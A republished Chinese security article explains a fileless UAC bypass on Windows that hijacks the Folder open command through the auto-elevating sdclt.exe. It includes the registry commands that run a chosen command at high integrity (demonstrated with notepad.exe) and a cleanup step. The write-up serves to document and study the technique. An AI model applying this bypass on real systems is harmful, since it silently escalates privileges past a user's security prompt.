首发于NOSEC
使用 sdclt 绕过 UAC 的新方法

使用 sdclt 绕过 UAC 的新方法

1.原理

该方法和其他UAC绕过方法一样,利用了某些会“自动提升权限”的程序。这些程序会以高完整性级别运行,且不会触发UAC窗口的警示窗口。用户以中等权限运行这些程序去加载DLL或执行命令,就可成功绕过UAC。

而此次绕过的关键就在于可执行文件sdclt.exe。Sdclt在Windows系统中的原本作用是备份和还原。你可以使用Windows SysInternals的SigCheck检查它是否会自动提升权限:

sigcheck.exe -m C:\Windows\System32\sdclt.exe | findstr autoElevate 

<autoElevate  xm lns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>
注意:已经有几种滥用sdclt.exe绕过UAC的方法。你可以在Matt Nelson的博客上看到:
enigma0x3.net/2017/03/1
enigma0x3.net/2017/03/1

我此次说明的这种新方法是无文件,基于COM劫持的。

当以中等权限调用sdclt.exe时,会发生的一些有趣事件:

  • 它以高权限运行另一个sdclt.exe进程
  • 高权限的sdclt进程会调用C:\Windows\System32\control.exe
  • control.exe进程以高权限运行,并且…



使用Sysinternals Procmon,我们可以看到control.exe无法在当前用户注册表(HKCU)中找到“文件夹”对象的打开命令。

但是!因为我的UAC绕过方法不需要写入,所以我们可以让这个高权限的进程去运行命令,即使我们只有中等级别的权限。

2.开始绕过

您可以使用一些命令测试一下这个方法。

先设置注册表:

reg add "HKCU\Software\Classes\Folder\shell\open\command" /d "cmd.exe /c notepad.exe" /f && reg add HKCU\Software\Classes\Folder\shell\open\command /v "DelegateExecute" /f

开始绕过:

%windir%\system32\sdclt.exe

这时,你就可以看到以高权限运行的notepad.exe。

最后不要忘记用以下方法清理注册表:

reg delete "HKCU\Software\Classes\Folder\shell\open\command" /f


谢谢观看!

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场

来源:使用 sdclt 绕过 UAC 的新方法


白帽汇从事信息安全,专注于安全大数据、企业威胁情报。

公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。

为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。

发布于 2019-01-25

文章被以下专栏收录